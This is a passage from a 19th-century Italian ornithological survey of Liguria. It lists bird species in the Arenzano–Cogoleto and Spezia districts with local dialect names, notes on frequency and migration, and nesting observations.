Marzaieù o Annia. Comune, di passo ed invernale. Nettion Crecca, Garganello. Come la precedente. Querquedaula Circia, Garganello. Come la precedente. Fulix ferina, Marzaieù o Annia du collo russo. Alquanto scarso, invernale. Fulix Fuligula, Marzaieù, Annia. Come sopra. Mergus Serrator. Alquanto scarso. Mergellus Albellus. Ne ho avuto una sola. Columba Palumbus, Colasso, Cümbo sarvaego. Numeroso durante il passo, in montagna e collina. Columba Oenas, Cümbo sarvaego. Come la precedente. Turtur tenera, Turtua. Estiva. Perdix rufa, Pernixe russa. Comune e sedentaria nelle valli montuose. Starna Perdix, Sterla. Comune e sedentaria nelle valli anche coltivate. Coturnix communis, Quaggia. Mediocrementemente numerosa, di passo alle colline e al piano. Rallus aquaticus, Gallinetta du becco russo. Comune, ma non abbondante, invernale. Ortygometra Porzana, Gallinetta. Comune, di doppio passo. Ortygometra Bailloni, Gallinetta piccinha. Scarsa in pianura. Ortygometra parva, Gallinetta piccinha. Come sopra. Crex pratensis, Requagio. Comune alle epoche del passo. Gallinula chloropus, Gallinetta, Fulega, Fuleghetta. Comune, ma non abbondante, di doppio passaggio. Fulica atra, Fulega. Alquanto scarsa, invernale. Grus communis, Grú. Passa alta, ma si ferma solo casualmente. Cèdicemus scolopax, Massucco, Curridoù. Comune, durante i due passi. Charadrius Pluvialis, Massuccotto. Comune, durante il passo. Squatarola helvetica. Scarsa, di passo. Ægialitis cantiana, Bulgarin, Ovivà. Alquanto scarso. Ægialitis curonica, Bulgarin, Ovivà. Comune, nidifica sul greto dei torrenti. Ægialitis Hiaticula, Bulgarin, Ovivà du testùn. Come la pre- cedente. Vanellus Capella, Pevonetto, I'è-Vì, Boiìn. Comune, ma non abbondante, durante il passo e d'inverno. Recurvirostra Avocetta. Rara. Himantopus candidus. Di passo, degli anni nullo o scarso, talvolta a branchi. Pelidna subarquata, Bulgarin, Rösëza. Comune, durante il passo primaverile. Pelidna alpina, Bulgarin, Rösëza. Come la precedente. Ve- desi anche d'autunno. Actodromas minuta, Burgainetto, Strillin. Come la precedente. Actodromas Temmincki, Burgainetto, Strillin. Piuttosto scarso. Tringa Canutus, Bulgarin, Rösëza. Raro. Machetes Puqnax, Bulgaria de sciumme, Lunea. Di passaggio, comune. Tringoïdes Hypoleucus, Bulgaria, Lunea. Comune. Totanus Ochropus, Bulgaria, Lunea. Mediocremente comune, forse nidificante. Totanus Glareola, Bulgaria, Lunea. Numeroso. di solo pas- saggio. Totanus stagnatilis, Bulgaria, Lunea. Piuttosto scarso. e non tutti gli anni si vede. Totanus Calidris, Bulgaria de gambe russe. Comune. Totanus nebularius, Bulgaria. Abbastanza comune alle epoche del passo. Limosa melanura, Becassa de mâ. Piuttosto scarsa. Scolopax Rusticula, Beccassa. Comune. Gallinago caelestis, Beccassin. Piuttosto scarso. Gallinago Gallinula, Beccassin. Come l’antecedente. Numenius Arquata. Raro. Numenius Phæopus, Burgainotto, Rdsëza barbaresca. Alquanto scarso. Glareola Pratincola, Pernixe o Pernixotto de mâ. Alquanto scarsa, di passo in primavera. Thalasseus cantiacus. Scarso, non raro sul mare. Sterna fluviatilis, Ciumbin. Alquanto scarsa in primavera. Sternula minuta, Ciumbin piccin. Piuttosto rara. Hydrochelidon hybrida, Ciumbin. Uno solo preso sul mare. Hydrochelidon leucoptera, Ciumbin. Comune in primavera e autunno, alla foce dei torrenti e bocca del porto. Hydrochelidon nigra, Ciumbin. Come l’antecedente. Chrocephalus melanocephalus, Ochin, Ciumbin. Comune sul mare. Chrocephalus ridibundus, Ochin, Ciumbin. Come l’antecedente. Rissa tridactyla, Ochin, Ciumbina. Raro, sul mare. Larus cachinnans, Oca de mâ. Alquanto scarso, ma sedentario sul mare. Puffinus anglorum. Comune e sedentaria, sul mare. Puffinus Kuhl. Come l’antecedente. Fratercula arctica. Rara. Utamania Torda, Magrun. Quando più quando meno comune, invernale. Colymbus glacialis, Magrun grosso. Rara, invernale. Colymbus arcticus, Magrun. Rara, ma meno della precedente. Colymbus septentrionalis, Magrun. Scarsa, ma qualcheduna quasi tutti gli anni, sempre d’inverno. Podiceps cristatus, Magrun. Piuttosto raro, invernale. Podiceps griseigena, Magrunetto. Raro, invernale. Podiceps cornutus, Magrunetto. Come sopra. Podiceps nigricollis, Magrunetto. Piuttosto raro, invernale. Podiceps fluviatilis, Magrunetto. Come sopra. Genova, distretto di Arenzano e Cogoleto (Luciani dottore Costante): La regione osservata è quella che comprende i due comuni di Arenzano e Cogoleto; ha per confini all’O. il torrente Larestro, all’E. il torrente Lupara, al N. l’Appennino Ligure coi suoi contrafforti, le cui più alte vette si elevano 1200 metri circa sul livello del mare; al S. il Mediterraneo. Questa regione non ha pianure di una qualche estensione, è una pendice dell’Appennino Ligure che va al mare. Si può piuttosto distinguere in due zone, la coltivata e l’incolta. Nella zona coltivata cresce spontaneo e forma dei boschi il Pino marittimo. L’Ulivo e la Vite sono coltivati nella parte più bassa e vi crescono bene. La zona incolta è rappresentata da rocce nude e da tratti tappezzati da poche graminacee, dal Mirto, da qualche Erica e dai Cistus. Questa regione è poi intersecata da due torrenti, il Levone e la Cantarena, che discendono dall’Appennino. Vi sono alcuni promontorii sporgenti al mare. uno è il Capo Panaggi, un altro è detto Terrarossa, in quest’ultimo sono rinomate le poste pei Colombacci, per gli Stornelli e per quasi ogni altra specie di passaggio, quando spirano i venti di tramontana sia nell’autunno che in primavera. Gli uccelli qui sedentari sono relativamente pochi; prima perchè come in tutta la Liguria, eternamente perseguitati, secondariamente perchè non essendoci nè grandi boschi, nè praterie, nè campi, non trovano i mezzi di sostentamento. Elenco delle specie di uccelli osservate nella provincia di Genova, distretto di Arenzano e Cogoleto; coi nomi volgari locali e notizie sulla frequenza, migrazione, nidificazione, ecc., ecc. Corvus Corax, Crovo imperiale. Rarissimo. Corvus Corone, Goa. Comune, invernale. Corvus Cornix, Crovo senein. Frequent d’autunno e d’inverno. Corvus frugilegus, Goa. Frequent in autunno. Lycos Monedula, Cornaggetta. Rara. Pica rustica, Berta. Rara. Garrulus glandarius, Gazzanna. Frequent e sedentaria. Sturnus vulgaris, Sturnello. Frequent, di passaggio in autunno e fine d’inverno. Pastor roseus, Merlo reusa. Frequent, ma di comparsa irregolare. Fringilla cælebs, Frenguello. Comunissimo e sedentario. Fringilla Montifringilla, Montanin. Frequent; passa da E. ad O. in autunno, da O. ad E. in marzo ed aprile. Petronia stulta, Passuun. Frequent, come sopra. Passer montanus, Passuetta. Frequent, come sopra. Passer Italiæ, Passua. Frequentissima e sedentaria. Coccothraustes vulgaris, Frixiun. Frequent; passa in autunno da E. ad O., in primavera da O. ad E. Ligurinus Chloris, Verdun. Frequent, sedentario, di passo come sopra. Chloroptila Citrinella, Lugau corso. Raro. Chrysomitrís Spinus, Lugain. Comune, di passo. Carduelis elegans, Cardeinna. Frequent, di passo e sedentario. Serinus hortulanus, Sian. Frequent, passa d’autunno da E. ad O., di primavera da O. ad E. Cannabina Linota, Fanetto. Frequent, come sopra. Ægiothus Linarius, Fanetto corso. Raro. Pyrrhula europaea, Scigoun. Frequent, nidifica sull'Appennino e scende al basso d'inverno. Loxia Curvirostra, Becco torto. Frequent, ma di comparsa irregolare. Euspiza melanocephala, Nottuan de Provenza. Raro. Miliaria Projer, Ciattarun. Comune e sedentario. Emberiza Citrinella, Sia paggea. Frequent, di passo autunnale ed invernale. Emberiza Cirlus, Sia nostrà. Frequent, di passo, sedentario ed erratico. Emberiza Hortulana, Nottoan. Frequent, di passo in primavera (15 aprile al 15 maggio), scarso in autunno; nidifica. Emberiza Cia, Sia montagnina. Frequent nell'autunno e nell'inverno. Emberiza pusilla, Strapassua. Raro. Emberiza Schœniclus, Sia da canne. Frequent, di passo nell'autunno e nell'inverno. Calcarius nivalis, Sia da neive. Raro assai e solo nei rigidi inverni. Melanocorypha Calandra, Calandra. Accidentale. Otocorys alpestris. Accidentale il 31 dicembre 1886. Calandrella brachydactyla, Grivein. Frequent, ma solo di passo in aprile e maggio. Alauda arborea, Petronilla. Frequent, di doppio passo e sedentaria. Alauda arvensis, Grivea. Frequent, di passo in autunno ed inverno. Galerita cristata, Lodoa. Rara. Agrodroma campestris, Terreina. Frequent, di passo in primavera, raro nell'autunno. Anthus pratensis, Si Si de monte. Frequent d'autunno e d'inverno, rara in primavera. Anthus trivialis, Spia de Nottoan. Frequent in primavera, raro in autunno. Anthus Spiroletta, Si Sietta. Frequent, invernale. Budytes flavus, Giaretta. Frequent al basso in primavera, aprile e maggio, raro in autunno. Budytes cinereocapillus, Gianetta. Frequente, come sopra. Motacilla alba, Biancola. Frequente, di passo in marzo, scarsa nell’autunno. Calobates melanope, Cua lunga. Frequente e sedentaria, ni- difica ai monti e scende al basso d’autunno. Saxicola Oenanthe, Cù gianco de bosco. Comune, di passo in aprile. Saxicola albicollis, Scappaxin. Frequente in aprile, estiva. Saxicola Stapazina, Scappaxina. Frequente, come sopra. Dromolæa leucura, Merlou ciappà da cua gianca. Rara, ma sedentaria. Monticola saxatilis, Cuarusson. Frequente in aprile, nidifica. Monticola Cyanus, Merlou ciappà. Frequente e sedentaria. Merula nigra, Merlo. Frequentissimo e sedentario, passa in febbraio e marzo, più scarso in autunno. Merula torquata, Merlo gianco. Raro. Turdus pilaris, Tordeja corsesca. Comune nei rigidi inverni. Turdus iliacus, Turdo corsin. Frequente in autunno. Turdus musicus, Turdo. Frequente, passa in ottobre e ripassa in marzo. Turdus viscivorus, Tordeja. Frequente d’inverno e sedentaria. Aëdon Luscinia, Ruscigneu. Frequente, estivo. Erithacus Rubecula, Piccetto. Frequente, invernale e seden- tario. Cyanecula Wolfi, Cua rossa da Madonna. Raro, in aprile. Cyanecula suecica, Cua rossa da Madonna. Raro, come sopra. Ruticilla Phœnicurus, Cuarussetta. Comune in marzo ed apri- le, raro d’autunno. Ruticilla titys, Ciapusso. Sedentario e comune. Pratincola Rubicola, Sima cousti. Comune e sedentario. Pratincola Rubetra, Sima cousti. Comune ed estivo. Sylvia orphæa, Favà, Giugo. Comune in aprile o maggio, estiva. Sylvia cinerea, Ciarletta. Comune, come sopra. Sylvia subalpina, Mujà. Comune, come sopra. Monachus Atricapillus, Testa neigra. Sedentaria e comune al passo autunnale. Monachus hortensis, Beccafico. Estivo e comune, di passo da agosto a settembre ed in aprile e maggio. Pyrophthalma melanocephala, Ocello da sera. Comune e sedentario. Melizophilus undatus, Mujà. Comune e sedentaria. Phylloscopus sibilator, Boën. Comune di passo in primavera. Phylloscopus Trochilus, Boën. Comune, come sopra. Phylloscopus Bonellii, Boën gianco. Comune in agosto, scarso in primavera. Phylloscopus rufus, Boënnetto. Comune ed invernale. Hypolais icterina, Ciarlettua. Comune, di passo in aprile e maggio. Hypolais polyglotta, Ciarlettua. Estivo e comune in agosto. Acrocephalus streperus, Ruscigneu de canne. Comune in aprile e maggio e nell'agosto. Acrocephalus arundinaceus, Ruscigneu lombardou. Comune come sopra. Calamodus schœnobœnus, Quaggiu. Comune in aprile e maggio, scarso in autunno. Calamodus aquaticus, Fenuggià. Comune, come sopra. Locustella naevia. Passa in maggio, non comune. Cettia Cettii, Ruscigneu d'egua. Raro. Cisticola cursitans, Pitta-muscin. Raro, in primavera. Troglodytes parvulus, Castagnetta. Sedentario e comune. Cinclus aquaticus, Merlou pescou. Sedentario e comune, nidifica ai monti e scende al basso nell'autunno. Accentor collaris, Turdo sarvaego. Sedentario e comune, abita le aride valli dell'Appennino, scende al mare coi grandi freddi. Accentor modularis, Rousenento. Comune e sedentaria. Regulus cristatus, Testin d'ou. Comune d'inverno. Regulus ignicapillus, Reattin. Comune d'inverno. Acredula rosea, Parissuin cua lunga. Rara. Parus major, Parisseua. Comune e sedentaria. Parus ater, Parissuin. Comune, anzi qualche anno abbondantissima, in ottobre e novembre. Cyanistes caeruleus, Berbexin. Comune in autunno. Poecile palustris, Parissuetta. Comune e sedentaria. Certhia brachydactyla, Rampeghin. Sedentario e comune. Tichodroma muraria, Pitta-muin. Raro. Oriolus Galbula, Garbè. Comune dalla metà di aprile alla metà di maggio, quando giunge in branchetti di 7 od 8; ripassa alla spicciolata in agosto. Lanius Excubitor, Cajurno lombardo. Rara. Lanius minor, Cajurno lombardo. Rara, in primavera. Lanius Collurio, Cajurno nostrà. Estiva, comune in aprile e maggio, più scarsa in autunno. Lanius auriculatus, Cajurno testa roussa. Comune, come sopra. Muscicapa Atricapilla, Sbatti-ae. Comune in aprile e maggio. Butalis Grisola, Bazana. Comune, come sopra. Hirundo rustica, Roundanina. Comune, estiva. Hirundo rufula. Vedesi in aprile e maggio, rara. Chelidon urbica, Cugianco d'aja. Comune, estivo. Clivicola riparia, Frattin. Comune al passo in primavera ed in autunno, a tutto novembre. Cotile rupestris, Senentun. Sedentaria e comune; è anche di passo in febbraio e marzo ed in agosto e settembre. Cypselus Apus, Sbiro. Comune, passa dal 15 aprile al giugno, ripassa in agosto e settembre. Cypselus Melba, Rondon. Comune, come sopra. Caprimulgus europaeus, Carea baggiu. Estivo, comune, giunge in aprile e maggio. Gecinus viridis, Piccounsu. Raro, sedentario. Iynx Torquilla, Lengua lunga. Estivo, comune in aprile e maggio, scarso d'autunno. Cuculus canorus, Cicco. Estivo, comune in aprile e maggio, scarso in autunno. Alcedo Ispida, Martin pescou. Sedentario e comune. Coracias Garrula, Seenna. Comune. Merops Apiaster, Seenna. Comune dalla fine d'aprile a tutto maggio. Upupa Epop, Galetto de marzo. Comune in marzo ed aprile. Strix flammea, Ouco gianco. Comune e sedentario. Syrnium Aluco, Ouco. Raro. Asio Otus, Testa gatto. Comune. Asio accipitrinus, Testa gatto. Comune. Athene Noctua, Sivetta. Sedentaria e comune. Scops Giu, Ciò. Comune. Bubo maximus, Dugo. Raro. Circus aeruginosus, Farco de palù. Comune in aprile durante i venti di tramontana. Circus cyaneus, Sivetta gianca. Comune, come sopra. Circus cineraceus, Sivetta gianca. Rara, come sopra. Circus Swainsoni, Sivetta gianca. Comune, come sopra. Pandion Haliaëtus, Farco pescou. Raro, passa in aprile. Circaëtus gallicus, Agugia. Comune, di passaggio in marzo e primi di aprile, abbondantissimo al ripasso in settembre ed ottobre. Nisaëtus fasciatus, Agugia foestea. Rara. Buteo vulgaris, Farco gallinà. Comune nell'inverno. Pernis apivorus, Agugiotto. Comune, di passo in maggio e fino al 15 giugno; più scarso in autunno. Milvus Ictinus, Niggio. Raro. Falco Peregrinus, Sivettua grossa. Comune e sedentario. Hypotriorchis Eleonorae, Farchetto da Regina. Raro. Hypotriorchis Subbuteo, Sivettua neigra. Comune, di passo in aprile e maggio. Cerchneis Tinnunculus, Sivettua roussa. Sedentario e comune; anche di passo in marzo ed aprile. Cerchneis Naumanni, Sivettua. Raro, passa in aprile e maggio. Cerchneis vespertinus, Farchetto dai pê rusci. Raro, passa in maggio e giugno. Accipiter Nisus, Sivettua grixa. Sedentario e comune, di passo in aprile, meno abbondante d'autunno. Ardea cinerea, Perdigiorni senein. Comune, di passo in aprile e maggio. Ardea purpurea, Perdigiorni russo. Comune, come sopra. Egretta Garzetta, Perdigiorni gianco. Comune, come sopra, anche al giugno. Ardeola ralloïdes, Perdigiorni gianco. Comune, come sopra, maggio e giugno. Ardetta minuta, *Perdigiorni piccin*. Comune, come sopra. *Botaurus stellaris*, *Perdigiorni*, *Grixelan*. Comune, come sopra. *Nycticorax griseus*, *Perdigiorni*. Comune, come sopra. *Ciconia alba*, *Sigheugna*. Rara. *Platalea Leucorodia*, *Spatula*. Rara assai coi forti scirocchi. *Plegadis Falcinellus*, *Tantalo*. Raro in primavera. *Anser segetum*, *Oca paa*. Rara d’inverno. *Anas Boscas*, *Collo verde*. Comune, invernale. *Spatula clypeata*, *Collo verde piccin*. Comune, invernale. *Dafila acuta*, *Cua de Rondanina*. Comune nell’inverno. *Mareca Penelope*, *Ania matta*. Comune, invernale. *Nettion Crecca*, *Garganello*. Comune, invernale. *Querquedula Circia*, *Garganello*. Comune, specialmente nel marzo. *Fuligula rufina*. Rarissimo. *Fulix ferina*, *Moetton*. Comune e invernale. *Fulix Fuligula*, *Ania neigra*. Invernale e comune. *Fulix Nyroca*, *Moetta*. Invernale e comune. *Somateria mollissima*. Invernale, rarissima. *Mergus Serrator*, *Seretta*. Comune, di passo in novembre. *Mergellus Albellus*, *Smengo*. Rara, invernale. *Columba Palumbus*, *Gulasso*. Comune, passa da E. ad O. in ottobre e novembre, e da O. ad E. in marzo. *Columba Oenas*, *Cumbo sarvaego*. Comune, come sopra. *Columba livia*, *Cumbo turraieu*. Raro. *Turtur tenera*, *Turduinna*. Comune in aprile e maggio, rara in autunno. *Perdix rufa*, *Pernisse roussa*. Comune e sedentaria. *Starna Perdix*, *Sterna*. Rara. *Coturnix communis*, *Quagia*. Comune da aprile a giugno, non si vede nell’autunno; qualche coppia delle più tardive nidifica nel distretto. *Rallus aquaticus*, *Gallinetta*. Comune, di passo in ottobre e novembre, rara in primavera. *Ortygometra Porzana*, *Gallinetta*. Comune in marzo ed aprile, non si rivede in autunno. *Ortygometra Bailloni*, *Gallinetta piccina*. Comune, come sopra. Ortygometra parva, Gallinetta piccina. Comune, come sopra. Crex pratensis, Requaggio. Comune in aprile, raro in autunno. Gallinula chloropus, Gallinetta grossa. Comune in marzo ed aprile. Fulica atra, Folaga. Comune d'inverno. Grus communis, Grua. Comune di passo; d'autunno va ad O. di primavera ad E. Cedicenmus scolopax, Griveloun. Comune in marzo ed aprile, raro d'autunno. Charadrius Pluvialis, Testonotto. Raro, di doppio passo. Eudromias Morinellus. Raro in primavera. Ægialitis cantiana, Giaëu. Raro in primavera. Ægialitis curonica, Giaëu. Comune, di doppio passo, abbonda in primavera. Strepsilas Interpres, Voltaprie. Raro in primavera. Vanellus Capella, Marzeu. Di doppio passo, comune. Hæmatopus Ostralegus, Ostregante. Raro. Himantopus candidus, Passegua. Raro in primavera. Pelidna subarquata, Pettiruscio. Non raro in marzo e giugno. Pelidna alpina, Spilorso. Non raro in primavera. Actodromas minuta, Gilardinotta. Comune in primavera. Machetes Pugnax, Lippun. Comune in primavera. Tringoïdes Hypoleucus, Vidiuetta. Comune in primavera, nidifica. Totanus Ochropus, Spilorso. Comune in primavera, più scarso d'autunno. Totanus Glareola, Gilardinna. Comune in primavera. Totanus Calidris, Cieuì. Comune in primavera. Totanus fuscus, Cieuì grosso. Comune in primavera. Totanus nebularius, Spilorso. Rara in primavera. Limosa melanura, Beccassa de mâ. Rara in marzo. Scolopax Rusticula, Becassa. Comune, invernale. Gallinago cælestis, Beccassin. Comune, invernale. Gallinago Gallinula, Beccassin surdo. Comune, invernale. Numenius Arquata, Rouneza. Comune, di doppio passaggio. Glareola Pratincola, Pernice de mâ. Rara in primavera maggio. Thalasseus cantiacus, Rondanina de mâ. Non raro, si vede d'inverno ed in aprile; nel 1882 il passo primaverile fu copioso. Sterna fluviatilis, Rondanina de mâ. Comune, di passo regolare in aprile ed in agosto e settembre. Hydrochelidon leucoptera, Moetto. Non raro alle due epoche del passo: 15 aprile-10 maggio, fine agosto e settembre. Hydrochelidon nigra, Moetto. Comune alle due epoche del passo, come sopra. Chroocephalus minutus, Ochin. Raro in primavera. Chroocephalus melanocephalus, Ochin. Comune, di passo in aprile ed in agosto, e durante l'inverno. Chroocephalus ridibundus, Ochin. Raro. Rissa tridactyla, Ochetta. Raro in primavera. Larus canus, Oca mezana. Comune dall'agosto all'aprile. Larus cachinnans, Oca de mâ. Comune, forse sedentario. Puffinus anglorum, Bertacco piccin. Comune, specialmente nell'inverno, forse sedentaria. Puffinus Kuhli, Bertacco. Comune più nell'estate, ma si vede pure d'inverno. Procellaria pelagica, Frenguello de mâ. In alto mare, sempre. Utamania Torda, Magrun. Comune dal novembre al marzo quasi ogni anno; fu assai abbondante nel 1886. Colymbus arcticus, Folaga. Rara, invernale. Colymbus septentrionalis, Folaga. Rara, invernale. Podiceps cristatus, Magrun. Non raro da novembre a marzo, talvolta anco in settembre i giovani. Podiceps nigricollis, Magrun piccin. Non raro, come sopra. Podiceps fluviatilis, Magrun piccin. Non raro, come sopra. Elenco delle specie di uccelli le quali nidificano nel distretto di Arenzano e Cogoleto, provincia di Genova, con alcune notizie in proposito. Garrulus glandarius. Fa due covate, la prima di 5, la seconda di 4 o 3 uova; covano mas. e fem. Fringilla coelebs. Fa due e tre covate l'anno, in marzo sono già nati i piccoli della prima covata; il numero delle uova è di 5 per la prima, 4 la seconda e 3 la terza; covano mas. e fem. Passer Italiae. Fa tre covate, alla fine di marzo sono già nati i primi pulcini; le uova sono 5 la prima, 4 la seconda e 3 la terza; covano mas. e fem. Ligurinus Chloris. Fa due covate e raramente tre; la prima in aprile; le uova sono 5 la prima e 4 o 3 le altre. Carduelis elegans. Fa tre covate rispettivamente di 5, 4, 3 uova; covano mas. e fem.; in aprile depone la prima volta. Pyrrhula europaea. So che nidifica da noi; ma non so altro. Miliaria Projer. Cova due volte da aprile a giugno; la prima covata è di 4, la seconda di 3; cova anche il maschio. Emberiza Cirlus. Fa tre covate da aprile ad agosto, la prima di 5 l'altra di 4 e l'ultima di 2 o 3 uova; covano mas. e fem. Emberiza Hortulana. Qualche coppia annida in aprile e fa due covate, la prima di 4 o 5, la seconda di 3 uova; covano mas. e fem. Alauda arborea. Cova due e qualche volta tre volte, depone 4 uova ed anche 5, le altre covate diminuiscono di numero; covano mas. e fem.; ho trovato il nido ai primi di aprile. Agrodroma campestris. Giunge in aprile e qualche coppia nidifica ponendo due covate di 4 e 3 uova; covano mas. e fem. Calobates melanope. Si ritira in marzo alle sorgenti dei torrentelli e fa due covate di 5 e 4 uova; covano mas. e fem. Saxicola albicollis. Giunge in aprile e pone subito nido, fa due covate di 5 e 4 uova; covano mas. e fem. Saxicola Stapazina. Giunge alla stessa epoca e cova allo stesso modo. Dromolæa leucura. È specie rarissima e non vidi mai il nido, sebbene sia da noi sedentaria. Monticola saxatilis. Giunge in aprile, fa una prima covata di 5 o 4 uova ed una seconda di 3; covano mas. e fem. Monticola Cyanus. In marzo ha già il nido di 4 uova e ne fa un secondo di 3 e qualche volta una terza di 2; covano mas. e fem. Merula nigra. In marzo ha già il primo nido di 5 uova, poi ne fa un secondo di 4, ed un terzo di 2 o 3 uova; covano mas. e fem. Turdus viscivorus. È dei primi a deporre, ho visto i piccoli ai 5 di marzo già colle cannuccie; fa tre covate di 5, 4, 3 uova; covano mas. e fem. Aëdon Luscinia. Giunge in aprile fa due e qualche volta tre covate, la prima di 5 uova l'altra di 3 o 4; covano mas. e fem. Ruticilla titys. Fa due covate di 5 e 4 o 3 uova, in aprile ha già il nido; covano mas. e fem. Erithacus Rubecula. Fa due nidi da aprile a giugno di 5 il primo, di 3 o 4 il secondo. Pratincola Rubicola. In marzo ha già la prima covata di 4 ed anche di 5 uova, ne fa poi un'altra di 3 e qualche volta una terza; covano mas. e fem. Sylvia orphæa. Viene in aprile, fa due covate qualche volta tre; la prima covata è di 5 e l'altra di 3 o 4 uova. Sylvia cinerea. Viene all'epoca della precedente, fa le stesse covate. Monachus Atricapillus. Fa il primo nido in fin di marzo di 5 uova, ne fa poi un altro e qualche volta un terzo; covano mas. e fem. **Monachus hortensis.** Fa come il precedente, ma annida più tardi. **Pyrophthalma melanocephala.** Pone nido ai primi di marzo e fa due ed anche tre covate, la prima di 4, l'altra di 3 uova; covano mas. e fem. **Melizophilus undatus.** Fa come la specie precedente. **Hypolais polyglotta.** Giunge ed annida in aprile, fa due covate di 5 e 4 o 3 uova; covano mas. e fem. **Troglodytes parvulus.** Si ritira in marzo nei folti e freschi macchioni di monte e fa due covate, la prima ha 6 o 7 uova, l'altra 4 o 5. **Cinclus aquaticus.** Si ritira alle sorgenti dei torrentelli a nidificare in marzo e fa una o due covate di 5 e 4 uova. **Accentor collaris.** So che annida sulla vetta dell'Appennino nostro, ma non so altro. **Accentor modularis.** Fa due covate, la prima in marzo e depone 5 uova, l'altra è di 3 o 4; covano mas. e fem. **Parus major.** Cova in marzo e depone in buca d'albero 10 e più uova, ne trovai nidi anche di 12; fa qualche volta un'altra covata di 5 o 6 uova. **Pœcile palustris.** So che annida da noi, ma non vidi mai il nido. **Certhia brachydactyla.** Annida per tempo e fa 8 e più uova nella prima covata, ne fa ancora un'altra di minor numero. **Lanius auriculatus.** Annida in apr. e fa una prima covata di 5 uova, ne fa anche un'altra di 3 o 4; covano mas. e fem. **Lanius Collurio.** Giunge ed annida in fine d'aprile, fa due e qualche volta tre covate di 5, 4 e 3 uova; covano mas. e fem. **Hirundo rustica.** Fa due covate, la prima in aprile ed è di 5 uova, la seconda di 4 o 2; qualche volta ne fa una terza di 2 o 3 uova. **Chelidon urbica.** Fa due covate da aprile ad agosto, qualche volta tre; la prima è di 5 uova; covano mas. e fem. Cotile rupestris. So che ci cova ma non potei mai vedere il nido perchè in rocce scoscese. Cypselus Apus. Viene in maggio e fa due covate di 5 e 3 uova; covano mas. e fem. Caprimulgus europaeus. Ho già trovato due delle sue uova in una buca del terreno, ma non so quante ne deponga e quante volte. Lynx Torquilla. Depone in aprile una prima covata di 7 od 8 uova, e ne fa una seconda di 4 o 5. Cuculus canorus. Non saprei quante volte deponga perchè depone le uova negli altrui nidi. Ho visto dei Cuculi nel nido di Monticola saxatilis, di Miliaria Projer ed anche dell'Accentor modularis. Alcedo Ispida. Annida lungo i torrenti, non so niente del suo nido. Strix flammea. Annida in marzo e fa una covata di 5 o 4 uova. Athene Noctua. Fa una o due covate cominciando da marzo e depone 3 o 4 uova. Cerchneis Tinnunculus. Fa due covate cominciando da aprile di 5 uova la prima, l'altra di 4 o 3. Perdix rufa. Depone 10 o 12 uova in marzo e covano mas. e fem. Coturnix communis. Qualche coppia delle più tardive annida sulle vette dell'Appennino, dove trovansi dei prati piani, depone 8 o 9 uova. Tringoïdes Hypoleucus. Cova in aprile e depone 4 uova; covano il mas. e la fem.¹ ¹ Come si vede gli uccelli che nidificano sul versante meridionale dell'Appennino sono pochi. Per dare poi le notizie dovute sulla durata delle covate cc. come è richiesto, abbisogna l'osservazione di parecchi anni, e perciò io non so per ora risponder altro (Luciani). Genova, distretto di Spezia (Carazzi, dott. professore Davide): Confini ben limitati per tre lati: O., S., S.E. il mare; E. e E.E.N. il fiume Magra. Al N. e N.N.O. i confini del distretto preso in osservazione sono poco ben limitati; si possono determinare abbastanza approssimativamente con una linea retta che decorre obliquamente da O. a Riomaggiore sul mare (44° 6′), a N.E., al confluente della Durasca nella Magra, presso Follo (44° 10′). La regione è principalmente montuosa, fatta eccezione della piccola pianura paludosa presso il mare a 3 chilom. all'E. di Spezia (stagni e stagnoni) e la riva destra della Magra. Le colline del distretto non sorpassano l'altezza di 600 m. circa; sono quasi tutte di calcari liasici e cretacei; pochi calcarì e quarziti del Trias. La pianura tanto vicino alla Spezia che va lungo la Magra è alluvionale. In generale le colline a O. e N.O. non sono coltivate eccetto che in basso; vi crescono abbondanti le eriche e le felci più comuni, parecchie conifere e piccoli roveri; a coltura si trovano i terreni delle colline a N. e N.E., vigneti e uliveti. Quasi tutte coltivate le colline comprese fra il Golfo e la Magra. Gli stagnoni sono in gran parte palustri, vi abbonda quindi l'acqua e vi sono le solite piante di queste regioni. Una parte di essi è coltivata. Le rive della Magra sono tutte coltivate. --- 1 L'elegio prof. Carazzi si è occupato con lodevole zelo nel raccolgere dati illustranti l'avifauna della Liguria orientale e materiali per la inchiesta ornitologica; non solo egli ha pubblicato due importanti lavori intorno alla Ornitologia di quella regione (Materiali per una Avifauna del Golfo della Spezia e della Val di Magra con una Appendice. Spezia, 1887. Appunti ornitologici Napoli, 1887), ma nella sua qualità di direttore del Museo Civico di Spezia e di collaboratore nella inchiesta ornitologica, egli fece su quest'ultimo soggetto una pubblica conferenza il 2 maggio 1886 nelle sale di quel Museo Civico e diramò, principalmente ai cacciatori del distretto, una speciale circolare a stampa. Nell' interesse della inchiesta io lo ringrazio caldamente e mi auguro che il suo esempio sia seguito. Elenco delle specie di uccelli osservate nella provincia di Genova, distretto della Spezia; coi nomi volgari locali e notizie sulla frequenza, migrazione, nidificazione, ec., ec. Corvus Corax, Corvo, Crovo. Raro; sulle Alpi Apuane sedentario. Corvus Corone, Corvo, Crovo. Molto scarsa sui monti d’autunno e d’inverno. Corvus Cornix, Corvo, Crovo. Scarsa, al monte e al piano, sedentaria. Corvus frugilegus, Corvo, Crovo. Scarso, invernale. Lycos Monedula. Molto scarsa, sembra che arrivi irregolarmente. Nucifraga Caryocatactes. Rara, solo nei rigidi inverni. Pica rustica, Gaza. Scarsa, sedentaria, sembra più frequente alle bocche di Magra che altrove. Garrulus glandarius, Gaza. Frequenti, sedentaria sulle colline. Pyrrhocorax alpinus. Scarsissimo; abbondante sulle Alpi Apuane. Pyrrhocorax Graculus. Raro. Sturnus vulgaris, Sturnèo. Abbondante, di doppio passo ed invernale; non è stabilito che nidifichi. Sturnus unicolor. Accidentale, qualche volta capita insieme al precedente. Pastor roseus, Merlo main. Scarso, arriva irregolarmente; fu trovato nidificante nel mese di luglio ad Ameglia presso la Magra. 1 I dati raccolti e notati si riferiscono ad uccelli esistenti tutti preparati nella Collezione regionale del Museo Civico di Spezia, che possiede 141 specie con 300 esemplari circa; oppure ad uccelli che il sottoscritto ha potuto esaminare perchè mandati al preparatore del Museo per esser imbalsamati. (Carazzi). Fringilla coelebs, Franguelo. Sedentario e molto abbondante, può darsi che i maschi viaggino separati dalle femmine. Fringilla Montifringilla, Franguelo de montagna. Poco frequente ed invernale. Montifringilla nivalis. Rarissimo. Petronia stulta. Scarsa nella Val di Magra, molto scarsa nel Golfo. È certo che questa specie, la quale ora non ha nemmeno nome nel distretto ed è sconosciuta a molti cacciatori, era nel passato molto abbondante specialmente in Val di Magra. Passer montanus, Passua terracina, Ciaciarello (Sarzana). Frequente e stazionaria. Passer Italiæ, Passua 